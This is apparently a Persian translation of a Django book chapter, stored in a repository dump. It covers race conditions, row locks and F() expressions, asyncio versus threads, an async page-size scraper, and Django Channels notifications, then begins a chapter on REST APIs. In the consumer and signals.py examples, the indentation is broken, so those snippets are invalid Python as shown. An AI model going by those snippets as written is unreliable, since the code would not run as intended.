تسک، ده تصویر قدیمی آپلود شده را انتخاب می کند و یک شمارنده global را آپدیت می کند.\n\n\nابتدا مقدار شمارنده را از یک پایگاه داده می خواند، آن را با تعداد تطابق تصویر موفق افزایش می دهد و سپس مقدار قدیمی را با مقدار جدید بازنویسی می کند. تصور کنید که یک کار یکسان دیگر B را به موازات شروع می کنیم تا سرعت تبدیل ها را افزایش دهیم.\n\n\nحال اگر A و B شمارنده را دقیقاً همزمان از روی دیتابیس بخوانند، تا پایان کار مقدار یکدیگر را بازنویسی می کنند، بنابراین مقدار نهایی بر اساس اینکه چه کسی در پایان می نویسد خواهد بود. در واقع، مقدار شمارنده global بسیار به ترتیب اجرای وظایف بستگی دارد. بنابراین، این کار باعث ایجاد شرایط مسابقه منجر به داده های نامعتبر یا خراب می شود.\n\nالبته، مسئله واقعی این است که تسک ها از یکدیگر آگاه نیستند و ایجاد یک lock ساده ممکن است آن را حل کند، اما lock ها یا سایر اصول اولیه همگام سازی مشکلات خاص خود را دارند، مانند گرسنگی(starvation) یا بن بست (Deadlock).\n\nیک راه حل عملی، درج وضعیت هر تصویر در یک جدول دیتابیس است که با شناسه منحصر به فرد یک تصویر مانند مقدار هش یا مسیر فایل آن ایندکس گذاری شده است:\n\n\n| **Image hash**          | **Competed at**           | **Matched image path** |\n| ----------------------- | ------------------------- | ---------------------- |\n| SHA256: b4337bc45a8f... | 2018-02-09T15:15:11+05:30 | /celeb/7112.jpg        |\n| SHA256:550cd6e1e8702... | 2018-02-09T15:17:24+05:30 | /celeb/3529.jpg        |\n\nشما می توانید تعداد کل عکس هایی که با hash تطابق دارند را با شمارش ردیف های این جدول بیابید. علاوه بر این، این رویکرد به شما امکان می دهد تطابق های موفق را بر اساس تاریخ یا زمان تقسیم کنید\n\nبا این کار دیگر شرایط رقابتی (race condition) نخواهیم داشت، زیرا ما یک وضعیت global را بازنویسی نمی کنیم. تنها امکان بازنویسی یک حالت مشترک زمانی است که دو یا چند کار تصویر یکسانی را برای پردازش انتخاب کنند. حتی اگر این اتفاق بیفتد، هیچ خرابی داده وجود ندارد زیرا نتیجه یکسان است و\nنتیجه آخرین کاری که باید تمام شود نتیجه نهایی خواهد شد.\n\n### به روز رسانی پایگاه داده بدون شرایط رقابتی(race condition)\n\nممکن است با موقعیت‌هایی مواجه شوید که مجبور باشید یک آبجکت را در یک تابع مشترک (shared function) در دیتابیس به‌روزرسانی کنید. اگر دیتابیس شما از قابلیت row-level locks پشتیبانی کند میتوانید ازین مورد یا از اشیا Django F() استفاده کنید قایل ذکر است دیتابیس mysql چون از موتور MyISAM استفاده می کند این قابلیت را پشتیبانی نمی کند.\n\nاز قابلیت row-level locks  در جنگو با استفاده از متد  select_for_update() در کوئری ست میتوانید استفاده کنید. مثال زیر را ببینید:\n\n\n```python\nwith transaction.atomic():\n    feed = Feed.objects.select_for_update().get(id=id)\n    feed.html = sanitize(feed.html)\n    feed.save()\n```\n\nبا استفاده از select_for_update() سطر های آبجکت Feed اصطلاحا قفل (lock) میشود که تا زمانی که ترنزکشن ما تمام نشد اجازه ایجاد و تغییر در دیتابیس نداشته باشیم.\nاگر نخ یا فرآیند دیگری قبلاً همان ردیف را قفل کرده باشد، کوئری منتظر می ماند یا کوِئری تا زمانی که lock در دیتابیس تمام شود مسدود می شود. این رفتار را می توان با استفاده از پارامترهای کلمه کلیدی select_for_update تغییر داد تا یک خطا ایجاد کند یا در صورت قفل از آن رد شود.\n\nاگر عملیات روی یک فیلد را بتوان در دیتابیس انجام داد بهتر است از فانکشن  F() برای جلوگیری از شرایط رقابتی(race condition) استفاده شود. فانکشن F() از گرفتن دیتا از دیتابیس و انتقال به مموری پایتون برای انجامیک عملیات جلوگیری می کند و این کار را مستقیم بر روی دیتابیس انجام می دهد. به مثال زیر توجه کنید:\n\n\n```python\nfrom django.db.models import F\nfeed = Feed.objects.get(id=id)\nfeed.subscribers = F('subscribers') + 1\nfeed.save()\n```\n\nزمانی که save( ) صدا زده می شود عملیات اضافه کردن مقدار 1 به subscribers در خوددیتابیس انجام می شود و در هیچ کجا دیتایی از آبجکت Feed از دیتابیس گرفته نمی شود و مستقیما مقدار آپدیت می شودئ و احتمال وقوع شرایط رقابتی(race condition) بسیار کم است.\n\n ### از انتقال اشیا پیچیده به task خودداری کنید\n\n به راحتی می توان فراموش کرد که هر بار که ما یک task Celery را فراخوانی می کنیم، آرگومان ها قبل از اینکه وارد صف شوند سریالایز می شوند. از این رو، ارسال یک شی ORM جنگو یا هر شی بزرگی که ممکن است صف ها را مسدود کند، توصیه نمی شود.\n\nدلیل خوب دیگری برای اینکه از ارسال یک شی پایگاه داده به تسک ها. با توجه به ماهیت ناهمزمان تسک ها، داده‌ها می‌توانند تا زمانی که تسک ها انجام شوند قدیمی شوند. رکورد ممکن است تغییر کرده یا حتی حذف شده باشد.\n\nبنابراین، همیشه یک کلید اصلی(primary key) یا مقدار جستجو(lookup value) را ارسال کنید و آخرین مقدار شی را از پایگاه داده بازیابی کنید. داکیومنت celery به این امر اشاره می کند که وظیفه اپلیکیشن بر عهده آن است. مطمئن شوید اپلیکیشن شما یک اپلیکیشن بروز است، نه یک اپلیکیشن قدیمی.\n\n## درک asyncio\n\n ماژول asyncio یک کتابخانه چندوظیفه ای مشترک است که از نسخه 3.6 در پایتون موجود است. ابزار  Celery برای اجرای وظایف همزمان خارج از یک فرآیند فوق‌العاده است، اما زمان‌های خاصی وجود دارد که باید چندین نخ(thread) اجرایی را در یک فرآیند اجرا کنید.\n\nاگر با مفاهیم async/wait آشنا نیستید (مثلاً در جاوااسکریپت یا سی شارپ)، این موضوع شامل کمی منحنی یادگیری (موضوعی تقریبا سخت برای یادگیری) است. با این حال، ارزش وقت شما را دارد، زیرا می تواند سرعت کد شما را به شدت افزایش دهد (مگر اینکه کاملاً به CPU محدود شده باشد). علاوه بر این موارد celery به درک سایر کتابخانه های ساخته شده وابسته به این ابزار مثل django-channels کمک می کند.\n\nهمه برنامه‌های asyncio توسط یک حلقه رویداد هدایت می‌شوند، این حلقه تقریباً یک حلقه بی‌نهایت است که همه [کوروتین‌](https://docs.python.org/3/library/asyncio-task.html)های ثبت‌شده را به ترتیب فراخوانی می‌کند. هر کوروتین با دادن کنترل(yield) به کوروتین های همکار در مکان های تعریف شده، به صورت مشارکتی عمل می کند.به این عمل awaiting گفته می شود.\n\nیک کوروتین مانند یک تابع است که می تواند اجرای یک برنامه را به حالت تعلیق درآورد و یا از سر بگیرد و مانند نخ (thread) های سبک کار میکند.\n\nهر کوروتین ذاتی از کلمات کلیدی async و await به مانند کد زیر استفاده می کند:\n\n```python\nimport asyncio\nasync def sleeper_coroutine():\n    await asyncio.sleep(5)\nif __name__ == '__main__':\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(sleeper_coroutine())\n```\n\nاین یک نمونه حداقلی از یک حلقه رویداد است که یک کوروتین به نام sleeper_coroutine را اجرا می کند. هنگامی که تابع فراخوانی می شود، این coroutine تا دستور await اجرا می شود و کنترل را به حلقه رویداد باز می گرداند. این معمولاً جایی است که یک عملیات I/O رخ می دهد.\n\nهنگامی که عملیات مورد انتظار تکمیل شد (پس از 5 ثانیه)، کنترل در همان خط کوروتین باز می گردد. سپس، کوروتین برگشت داده می شود یا تکمیل شده در نظر گرفته می شود.\n\n\n## asyncio دربرابر threads\n\nاگر روی کد چند نخی کار کرده اید، ممکن است تعجب کنید که چرا نباید فقط از نخ ها استفاده کرد؟ دلایل متعددی وجود دارد که چرا نخ ها در پایتون محبوب نیستند.\n\nدر مرحله اول، نخ ها باید در مواقع دسترسی به منابع مشترک همگام(sync) شوند، در غیر این صورت شرایط رقابتی (race condition) پیش می آید. انواع مختلفی از همگام سازی اولیه مانند قفل کردن(lock) وجود دارد، اما اساسا، آنها شامل انتظار(waiting) هستند، که عملکرد را کاهش می دهد و می تواند باعث ایجاد شرایط بن بست یا گرسنگی(deadlocks, starvation) شود.\n\nکوروتین آدرس کاملاً مشخصی دارد که در آنجا اجرا میشوند. در نتیجه، تا زمانی که کوروتین در  حالت شناخته شده(known state) باشند، می توانید تغییراتی در یک حالت اشتراکی ایجاد کنید. به عنوان مثال، می‌توانید یک فیلد را از یک پایگاه داده بازیابی کنید، محاسبات را انجام دهید، و فیلد را بازنویسی کنید، بدون اینکه نگران باشید که یک برنامه دیگر در این بین ارتباط شما را قطع کرده باشد.\n\nدوم اینکه کوروتین ها سبک هستند. هر کوروتین به طور قابل توجهی به حافظه کمتری نسبت به یک نخ نیاز دارد. اگر بتوانید حداکثر صدها نخ را اجرا کنید، با توجه به حافظه یکسان بین کوروتین و نخ، با این حافظه می توانید ده ها هزار کوروتین را اجرا کنید. سوئیچ کردن بین نخ ها هم مقداری زمان می برد (چند میلی ثانیه). این بدان معنی است که د این زمانی که برای سوِیچ تلف می شود میتوانید کارهای بیشتری را انجام دهید یا به کاربران همزمان بیشتری سرویس دهید.\n\nاز نکات منفی کوروتین ها می توان به این اشاره کرد که نمیتوان همزمان از شیوه blocking and non-blocking در کد استفاده کرد. بنابراین هنگامی که وارد حلقه رویداد می شوید، بقیه کدها باید به سبک ناهمزمان نوشته شوند، حتی کتابخانه هایی که استفاده می کنید. این ممکن است استفاده از برخی کتابخانه های قدیمی با کد همزمان را کمی دچار مشکل کند.\n\n## مثالی از یک نمونه قدیمی برای وب اسکرپینگ\n\nبیایید به مثالی نگاه کنیم که چگونه می توانیم کدهای همزمان را به ناهمزمان تبدیل کنیم. ما به یک وب اسکرپر نگاه خواهیم کرد که صفحات را از چند URL بارگیری می کند و اندازه آنها را اندازه می گیرد. این یک مثال مناسب است زیرا تعداد زیادی عملیات ورودی/خروجی در این مثال داریم و هنگام استفاده کانکارنسی سرعت کار به مقدار قابل توجهی افزایش می باید.\n\n### وب اسگرپینگ به صورت همزمان (Synchronous)\n\nاسکرپ کردن به صورت همزمان فقط از کتابخانه های استاندارد پایتون مانند urllib استفاده می کند.تکه کد پایین صفحه اصلی سه سایت محبوب دانلود می کند و یک سایت دیگر  که زمان بارگذاری آن را می توان برای شبیه سازی یک اتصال کُند به تاخیر انداخت. این کد اندازه صفحات مربوطه و کل زمان اجرا را چاپ می کند.\n\n\nکد در آدرس src/extras/sync.py نیز آورده شده است:\n\n\"\"\"Synchronously download a list of webpages and time it\"\"\"\n\n```python\nfrom urllib.request import Request, urlopen\nfrom time import time\nsites = [\n\"http://news.ycombinator.com/\",\n\"https://www.yahoo.com/\",\n\"http://www.aliexpress.com/\",\n\"http://deelay.me/5000/http://deelay.me/\",\n]\ndef find_size(url):\n  req = Request(url)\n  with urlopen(req) as response:\n    page = response.read()\n    return len(page)\ndef main():\n    for site in sites:\n        size = find_size(site)\n        print(\"Read {:8d} chars from {}\".format(size, site))\nif __name__ == '__main__':\n    start_time = time()\n    main()\n    print(\"Ran in {:6.3f} secs\".format(time() - start_time))\n```\n\nدر یک لپ تاپ آزمایشی، اجرای این کد 17.1 ثانیه طول کشید. این زمان بارگذاری کلی هر سایت است. بیایید ببینیم کد ناهمزمان چگونه اجرا می شود.\n\n### وب اسگرپینگ به صورت ناهمزمان (Asynchronous)\n\nاین کد asyncio نیاز به نصب چند کتابخانه ناهمزمان پایتون، مانند aiohttp و aiodns دارد. آنها در مستندات ذکر شده اند.\n\n\nکد زیر در آدرس src/extras/async.py نیز آورده شده است. ساختار کد به گونه ای است که تا حد امکان به نسخه  sync  نزدیک باشد تا مقایسه آن آسان تر باشد:\n\n\"\"\"Asynchronously download a list of webpages and time it Dependencies: Make sure you install aiohttp\n\n```python\nimport asyncio\nimport aiohttp\nfrom time import time\n\nsites = [\n    \"http://news.ycombinator.com/\",\n    \"https://www.yahoo.com/\",\n    \"http://www.aliexpress.com/\",\n    \"http://deelay.me/5000/http://deelay.me/\",\n]\nasync def find_size(session, url):\n    async with session.get(url) as response:\n        page = await response.read()\n        return len(page)\n\nasync def show_size(session, url):\n    size = await find_size(session, url)\n    print(\"Read {:8d} chars from {}\".format(size, url))\n\nasync def main(loop):\n    async with aiohttp.ClientSession() as session:\n        tasks = []\n        for site in sites:\n            tasks.append(loop.create_task(show_size(session, site)))\n        await asyncio.wait(tasks)\n\nif __name__ == '__main__':\n    start_time = time()\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(main(loop))\n    print(\"Ran in {:6.3f} secs\".format(time() - start_time))\n```\n\nتابع اصلی یک کوروتین است که باعث ایجاد یک کوروتین جداگانه برای هر وب سایت می شود. این کوروتین صبر میکند تا تمام کوروتینهایی که ایجاد شده اند تکیمل شوند و به پایان برسند.  به عنوان یک best practices آبجکت session ایجاد شده است و به عنوان آرگومان پاس داده می شود تا از ساخت مجدد یک session برای هر صفحه جلوگیری شود.\n\nکل زمان اجرای این برنامه روی همان لپ تاپ آزمایشی 7.5 ثانیه است. این افزایش سرعت 2.3 برابری روی یک هسته است. همانطور که در نمودار زیر نشان داده شده است، اگر بتوانیم نحوه صرف زمان را تجسم کنیم، این نتیجه شگفت انگیز را بهتر می توان درک کرد:\n\n![](/08-%20Working%20Asynchronously/images/image-001.jpg)\n\nاسکرپینگ به صورت synchronous به راحتی قایل درک است .اسکراپر سنکرون به راحتی قابل درک است. هر کار منتظر تکمیل کار قبلی است. هر کار به زمان CPU بسیار کمی نیاز دارد و بیشتر زمان در انتظار رسیدن داده ها از شبکه صرف می شود. در نتیجه، وظایف به طور متوالی مانند یک آبشار انجام می شوند.\n\nاز طرف دیگر، اسکرپینگ به صورت Asynchronous اولین وظیفه را شروع می کند و به محض اینکه شروع به انتظار برای I/O کرد، به کار بعدی سوئیچ می کند. CPU به ندرت کاری انجام نمی دهد زیرا به محض شروع انتظار، اجرا به حلقه رویداد برمی گردد. در نهایت، I/O در همان مدت زمان کامل می شود، اما به دلیل چندگانه شدن فعالیت، زمان کلی صرف شده به شدت کاهش می یابد.\n\nدر واقع، کد ناهمزمان را می توان بیشتر سرعت بخشید. حلقه رویداد کتابخانه استاندارد asyncio با پایتون خام نوشته شده و به عنوان پیاده سازی مرجع ارائه می شود. می‌توانید پیاده‌سازی‌های سریع‌تری مانند [uvloop](http://uvloop.readthedocs.io/) را برای افزایش سرعت بیشتر در نظر بگیرید.\n\n## همزمانی(Concurrency) به معنای موازی(parallelism) نیست\n\nهمزمانی توانایی انجام کارهای دیگر در زمانیکه شما منتظر اتمام کار فعلی هستید می باشد.  تصور کنید که در حال پختن غذاهای زیادی برای مهمانان هستید. در حالی که منتظر  برای پختن چیزی هستید، می توانید کارهای دیگری مانند پوست کندن پیاز یا بریدن سبزیجات را انجام دهید.برای ایجاد یک قیاس در دنیای ابرقهرمانان یک ابرقهرمان ممکن است در یک مکان با چند نفر بجنگد، زیرا اکثر آنها پس از یک ضربه بهبود پیدا میکنند، یا مجددا به ابرقهرمان برای رویارویی میرسند(یا منتظر نوبت خود می مانند)، که باعث می‌شود قهرمان ما ضربه‌ها را یکی پس از دیگری وارد کند.\n\n\nموازی سازی زمانی است که دو یا چند موتور اجرایی در حال انجام یک کار هستند. در ادامه قیاس ما، این زمانی است که دو یا چند ابرقهرمان به عنوان یک تیم با دشمنان مبارزه می کنند. این نه تنها یک فرصت عالی برای فرانچایز سینما است، بلکه سازنده تر از یک قهرمان تک نفره است که با حداکثر کارایی کار می کند.\n\nاشتباه گرفتن همزمانی و موازی بودن بسیار آسان است زیرا می توانند همزمان اتفاق بیفتند. شما می توانید همزمان وظایف را بدون موازی سازی یا برعکس انجام دهید، اما آنها به دو چیز متفاوت اشاره دارند. همزمانی روشی برای ساختاربندی برنامه های شما است، در حالی که موازی سازی به نحوه اجرای آن اشاره دارد.\n\nبه دلیل ویژگی global interpreter lock (GIL) پایتون ما نمی‌توانیم بیش از یک رشته از مفسر پایتون (به طور خاص، مفسر استاندارد CPython) را در یک زمان اجرا کنیم، حتی در سیستم‌های چند هسته‌ای. این ویزگی باعث می شود مقدار موازی‌سازی را که می‌توانیم با یک نمونه از فرآیند پایتون به دست آوریم، محدود کند.\n\nاستفاده بهینه از منابع محاسباتی شما به parallelism و concurrency  نیاز دارد. concurrency به شما کمک می‌کند از مسدود کردن هسته پردازنده در زمان انتظار مثلاً رویدادهای I/O جلوگیری کنید، در حالی که parallelism به توزیع کار بین تمام هسته‌های موجود cpu کمک می‌کند.\n\nبر خلاف تصور در هر دو مورد parallelism و concurrency شما به صورت همزمان اجرا نمی‌کنید، یعنی قبل از اینکه به کار دیگری بروید، منتظر پایان کار هستید.سیستم های ناهمزمان ممکن است بهینه ترین به نظر برسد. با این حال، ساختن و استدلال کردن آنها دشوارتر است.\n\n## ورود به کانال ها\n\nماژول django channles در ابتدا برای حل مشکل مدیریت پروتکل های ارتباطی ناهمزمان، مانند WebSockets ایجاد شد.وب اپلیکیشن ها رفته رفته قابلیت هایی مانند چت و اعلان های آنی را ارائه کردند. برای حل این مشکل روش های مختلفی برای پشتیبانی نیازمندی های این قابلیت ها در جنگو اراِه شده است مثل  اجرای سرورهای سوکت جداگانه یا سرورهای پراکسی.\n\nپروژه Channels یک پروژه رسمی جنگو است،این پروژه نه فقط برای مدیریت WebSocket ها و دیگر فرم های ارتباط دو طرفه، بلکه برای اجرای وظایف پس زمینه به صورت ناهمزمان هم کابرد دارد. \n\n در زمانی نگارش مقاله، Django Channels 2 منتشر شد، بر روی مقاله یک بازنویسی کامل بر اساس کوروتین های async/wait Python 3 است.\n\nدر اینجا یک بلوک دیاگرام ساده از راه اندازی کانال های معمولی آمده است:\n\n![](/08-%20Working%20Asynchronously/images/image-002.png)\n\nیک کلاینت، مانند یک مرورگر وب، هم HTTP/HTTPS و هم WebSocket را به یک سرور Asynchronous Server Gateway Interface (ASGI) مانند Daphene ارسال می کند. مانند وب سرور ASGI ،WSGI یک روش متداول برای تعامل برنامه های سمت سرور و دیگر اپلیکیشن ها به صورت Asynchronous هست.\n\nمانند یک برنامه متداول جنگو، ترافیک HTTP به صورت synchronous مدیریت می‌شود، یعنی وقتی مرورگر درخواستی را ارسال می‌کند، منتظر می‌ماند تا به جنگو هدایت شود و پاسخی ارسال شود. با این حال، زمانی که ترافیک WebSocket اتفاق می افتد بسیار جالب تر می شود، زیرا می تواند از هر جهت فعال شود.\n\nهنگامی که یک اتصال WebSocket برقرار شد، یک مرورگر می تواند پیام ارسال یا دریافت کند.یک پیام ارسال شده به یک روتر از نوع پروتکل می رسد که بر اساس پروتکل حامل، کنترلر روتر بعدی را تعیین می کند. از این رو، می توانید یک روتر برای HTTP و دیگری برای پیام های WebSocket تعریف کنید.\n\nاین روترها بسیار شبیه به URLهای جنگو هستند، اما پیام‌های دریافتی را به یک consumer  (به‌جای یک view)  می‌رسانند.یک consumer مانند یک کنترل کننده رویداد است که به رویدادها واکنش نشان می دهد. همچنین می‌تواند پیام‌ها را به مرورگر ارسال کند و در نتیجه یک ارتباط کاملاً دوطرفه را میتواند در خود جای دهد.\n\nیک consumer کلاسی است که می توانید متدهای آن را به عنوان توابع معمولی پایتون (synchronous) یا به صورت انتظار (asynchronous) بنویسید.یک کد asynchronous  نباید با کد synchronous  ترکیب شود، بنابراین توابع تبدیلی برای تبدیل از synchronous به asynchronous و بالعکس وجود دارد. به یاد داشته باشید که قسمت های مختلف جنگو synchronous هستند.  یک consumer  در واقع یک برنامه معتبر ASGI است.\n\nتاکنون از لایه Channel استفاده نکرده ایم. از قضا می توانید برنامه های Channel را بدون استفاده از Channels بنویسید! با این حال، آنها منحصرا مفید نیستند زیرا به جز نمونه برداری  (polling) دیتابیس هیچ مسیر ارتباطی آسانی بین نمونه های برنامه وجود ندارد. کانال ها دقیقاً همین را ارائه می دهند، پیام رسانی سریع point-to-point و انتشار در بین نمونه های برنامه.\n\nیک کانال مانند یک لوله است. یک فرستنده از یک طرف پیامی به این لوله می فرستد و در انتهای دیگر به شنونده می رسد. یک گروه مجموعه ای از کانال ها را تعریف می کند که همگی به یک موضوع گوش می دهند. هر consumer به کانالی که خودش تولید کرده با ویژگی(attribute) self.channel_name به آن دسترسی دارد گوش(listen) می دهد.\n\nعلاوه بر موضوع انتقال پیام، می‌توانید با ارسال پیام، یک consumer را فعال کنید که به کانال گوش می‌دهد و در نتیجه یک کار که در پس‌زمینه اجرا میشود را شروع کنید. این به عنوان یک سیستم پس زمینه بسیار سریع و ساده کار می کند.\n\n\n## گوش دادن به اعلان ها با WebSockets\n\nبه جای مثال چت معمولی، بیایید به مثالی بهتر نگاه کنیم که یک شبکه اجتماعی بهتر channelها را نشان می دهد . یک اپلیکیشن اطلاع رسانی.  این برنامه هر زمان که نوع خاصی از یک مدل در دیتابیس ذخیره شود را شناسایی می‌کند و یک اعلان را به همه مشتریان (یعنی مرورگرهای همه کاربران متصل) در زمان واقعی ارسال می‌کند.\n\nبا فرض اینکه Channels به درستی نصب و پیکربندی شده باشد، باید تمام مسیرهای از نوع پروتکل را در فایل routing.py به صورت زیر تعریف کنیم:\n\n```python\nfrom channels.routing import ProtocolTypeRouter, URLRouter\nfrom django.urls import path\nfrom notifier.consumers import NotificationConsumer\napplication = ProtocolTypeRouter({\n    \"websocket\": URLRouter([\n        path(\"notifications/\", NotificationConsumer),\n    ]),\n})\n```\n\n\nدرخواست های HTTP به طور پیش فرض به جنگو ارسال می شود. این ما را به تکه کد consumer هدایت می کند که در خود برنامه اعلان به عنوان customers.py قرار دارد:\n\n\n```python\nfrom channels.generic.websocket import AsyncJsonWebsocketConsumer\nclass NotificationConsumer(AsyncJsonWebsocketConsumer):\n    async def connect(self):\n        await self.accept()\n        await self.channel_layer.group_add(\"gossip\", self.channel_name)\n\nasync def disconnect(self, close_code):\n    await self.channel_layer.group_discard(\"gossip\", self.channel_name)\n\nasync def name_gossip(self, event):\n    await self.send_json(event)\n```\n\nبرای راحتی، ما از یک کلاس consumer عمومی به نام AsyncJsonWebsocketConsumer استفاده می کنیم که ارتباطات WebSocket را با  سریالایز کردن به فرمت JSON و بالعکس مدیریت می کند.\n\nمتد connect به سادگی یک اتصال را می پذیرد و کانال آن را به گروه gossip Channel اضافه می کند. اکنون، هر پیامی که به این گروه ارسال شود، با نام مناسب متدش consumer را فراخوانی می کند.\n\n\nما فقط پیام هایی را میپذریم که از نوع name.gossip باشند. از این رو، ما روشی به نام name_gossip ایجاد کرده‌ایم (نقاط به زیرخط ترجمه شده اند) این روش به سادگی شی ءای که دارای یک رویداد (event) باشد را به WebSocket ارسال می کند که توسط مرورگر دریافت می شود.\n\nمتد disconnect تضمین می کند که کانال consumer از گروهی که ایجاد کرده بودیم حذف می شود زمانی که اتصال بسته می شود. بنابراین ما فقط channel های فعال در گروه خواهیم داشت.\n\nبا آغاز رویداد(event) پازل ما تکمیل می شود. کد زیر را در فایل signals.py داریم:\n\n```python\nfrom .post.models import Post\nfrom django.db.models.signals import pre_save\nfrom django.dispatch import receiver\nfrom asgiref.sync import async_to_sync\nfrom channels.layers import get_channel_layer\n@receiver(pre_save, sender=Post)\ndef notify_post_save(sender, **kwargs):\n    if \"instance\" in kwargs:\n    instance = kwargs[\"instance\"]\n    # check if it is a new post\n    ...\n    channel_layer = get_channel_layer()\n    async_to_sync(channel_layer.group_send)(\n        \"gossip\", {\"type\": \"name.gossip\",\n                  \"event\": \"New Post\",\n                  \"sender\": instance.posted_by.get_full_name(),\n                  \"message\": instance.message})\n```\n\nما یک hook اضافه می کنیم تا این  hook زمانی که یک شی Post (که می تواند هر شیئی برای آن موضوع باشد) ایجاد شد صدا زده شود. پس\nاز آنجایی که ما فقط به پست های جدید علاقه مند هستیم، ویرایش  پست های موجود را بررسی کرده و نادیده می گیریم.\n\nقبل از ارسال هر چیزی به کانال، باید channel_layer را بازیابی کنیم. سپس باید از روش group_send برای ارسال پیام به گروه gossip استفاده کنیم. با این حال، این یک متد asynchronous است و ما در دنیای جنگو هستیم، بنابراین به صورت synchronous اتفاق می‌افتد. از این رو، ما فانکشن را با استفاده از مبدل async_to_sync تبدیل می کنیم و آن را تا زمانی که تابع async مقداری را برگرداند مسدود می کنیم.\n\n\nهمانطور که ممکن است توجه کرده باشید، Channels از الگوی انتشار-اشتراک(sub/pub) استفاده می کند. طراحی کانال ها عمداً از انتظار برای یک رویداد اجتناب می کند و از این رو از بن بست(Deadlock) جلوگیری می کند. با استفاده از asyncio، می‌توانیم برنامه‌های asynchronous واقعی را با جنگو بسازیم.\n\n## تفاوت ها با ابزار celery\n\n\nبا توانایی اجرای وظایف در پشت صحنه(background) با استفاده از workerها ممکن است به طور طبیعی گیج شوید که شاید Channels بتواند جایگزین Celery شود. در درجه اول دو تفاوت عمده وجود دارد: تضمین های تحویل پیام و وضعیت وظایف.\n\nکانال‌هایی که در حال حاضر با یک Backend Redis پیاده‌سازی می‌شوند، در بهترین حالت برای یکبار ضمانت ارسال پیام را ارائه می‌دهند، در حالی که Celery حداقل یک ضمانت را ارائه می‌دهد. این اساساً به این معنی است که Celery زمانی که تحویل ناموفق باشد تا زمانی که پیغام موفقیت آمیز دریافت کند دوباره تلاش خواهد کرد. در مورد کانال ها، تقریباً این اتفاق نمی افتد.\n\nثانیاً، Channels اطلاعاتی در مورد وضعیت یک کار خارج از وظایفش ارائه نمی دهد. ما باید خودمان چنین عملکردی را بسازیم به عنوان مثال با به روز رسانی پایگاه داده. وضعیت وظایف Celery را می توان پرس و جو کرد و آن ها حفظشان کرد.\n\nبرای جمع‌بندی، می‌توانید از Channels به جای Celery برای موارد استفاده کمتر مهم استفاده کنید. با این حال، برای یک راه حل قوی تر و اثبات شده، باید به Celery اعتماد کنید.\n\n## خلاصه\n\nدر این فصل، روش‌های مختلفی را برای پشتیبانی از اجرای ناهمزمان(asynchronous) در جنگو بررسی کردیم. آنها انتزاعات قدرتمندی را در جنگو برای ایجاد برنامه‌هایی ارائه می‌کنند که می‌توانند از اعلان‌های آنی پشتیبانی کنند، پیشرفت یک کار آهسته را نمایش دهند، با سایر کاربران ارتباط برقرار کنند یا کارهای پشت صحنه (background) را اجرا کنند.\n\nاز زمان گذشته، Celery ابزار انتخابی برای فعالیت های ناهمزمان(asynchronous) بوده است. با این حال، کانال ها راه حل سبک تر و محکم تری را ارائه می دهند. هر دو کاربرد خود را دارند و می توان از آنها در یک پروژه استفاده کرد. در نتیجه از ابزار مناسب برای کار استفاده کنید!\n\nدر فصل بعدی، به معنای RESTful API ها و نحوه پیاده سازی آن ها در جنگو با استفاده از بهترین شیوه های فعلی خواهیم پرداخت.\n\n</div>\n"
  },
  {
    "path": "09-CreatingAPIs/README.md",
    "content": "# ایجاد APIها\n\nدر این فصل ما در مورد مباحث زیر بحث خواهیم کرد:\n\n- RESTful API\n- طراحی API\n- فریمورک رست جنگو\n- الگوهای API\n\nتا کنون اپلیکیشن‌های جنگویی که ما طراحی میکردیم مورد استفاده انسان‌ها قرار میگرفت اما حالا خیلی از آن‌ها به وسیله اپلیکیشن‌های دیگر مورد استفاده قرار می‌گیرند که استفاده ماشین با ماشین (machine to machine) است. طراحی خوب API باعث می‌شود که برنامه‌نویس‌ها برای نوشتن کد استفاده از آن، راحت‌تر باشند.\n\n\nدر این فصل، هر موقع از لفظ API استفاده کردیم منظورمان **Representational state transfer (REST)** web APIها است، همانطوری که عموماً هم اشاره می‌شود. APIها معنای محبوبی دارند نه نه فقط بخاطر دسترسی عملکرد وب اپلیکشن‌ها است بلکه همچنین بخاطر ترکیب کردن و ساختن اپلیکیشن به طور کامل نیز است.\n\n## RESTful API\n\nاکثر اپلیکشن‌ها و وب سایت‌های محبوب این روزها یک رابط برنامه‌نویسی کاربردی(API) REST یا REST API ارائه میدهند. آمازون، نتفلیکس، تویلیو و هزاران کمپانی دیگر دارای رابط کاربری عمومی هستند که بخش  قابل توجهی از رشد تجارت آن‌ها شده است.\n\nیک RESTful API یک وب سرویس API است که به ویژگی‌های معماری REST پایبند است. ما به طور خلاصه در [فصل 4]('../../../04-%20Views%20and%20URLs/README.md)، ویو‌ها و  urlها اشاره  کردیم که تز روی فیلدینگ(Roy Fielding) بود که سبک معماری Rest را معرفی کرد. با توجه به سادگی و انعطاف پذیری آن در موارد استفاده مختلف از جمله اپلیکیشن‌های موبایل به یک استاندارد واقعی در صنعت برای رابط‌های برنامه‌نویسی تبدیل شده است.\n\nشش محدودیت معماری برای سیستم خالص RESTful است که آن‌ها در زیر آمده‌اند:\n\n- **کلاینت - سرور(Client-server)**: الزام اینکه کلاینت و سرور باید به صورت جدا باشند و بتوانند به صورت مستقل تکامل یابند.\n- **بی تابعیت(Stateless)**: لازمه REST که به آن بی‌تابعیت هم می‌گویند این است که context کلاینت فقط در کلاینت ذخیره شود ولی در سرور خیر.\n- **قابل کش شدن(Cacheable)**: پاسخ‌ها(Response) باید مشخص باشند که قابل کش شدن هستند یا خیر، که می‌تواند مقیاس پذیری و بازدهی را بهبود دهد.\n- **سیستم لایه‌ای(Layered system)**: به صورت سلسله مراتبی به مدیریت پیچیدگی کمک کرده و مقیاس پذیری را بهبود می‌دهد.\n- **کد بر اساس تقاضا(Code on demand)**: به کدها یا اپلت‌ها(applet) اجازه میدهد که توسط سرور به کلاینت فرستاده شوند.\n- **رابط یک شکل(Uniform Interface)**: مجموعه‌ای از محدودیت‌های اساسی است که معماری را جدا می‌کند مثل منابع و پیام‌های خود توصیف کننده.\n\nهرچند اکثر APIها به صورت خالص RESTful نیستند چون آن‌ها ممکن است یک یا چندتا از این محدودیت‌ها را بشکنند(معمولاً هم رابط یک شکل). هرچند هنوز هم ممکن است که آن‌ها را REST API بنامند.\n\nدر عمل اکثر آن‌ها به چند مفهوم معماری پایبندند، مانند زیر:\n\n- **منابع(Resources)**: هر شئ، داده یا سرویس‌ها به وسیله **Uniform Resource Identifiers(URI)** قابل دسترس هستند. این میتواند یک شئ تنها(میتوانیم بگوییم کاربر) یا یک مجموعه(میتوانیم بگوییم کاربران) باشد. 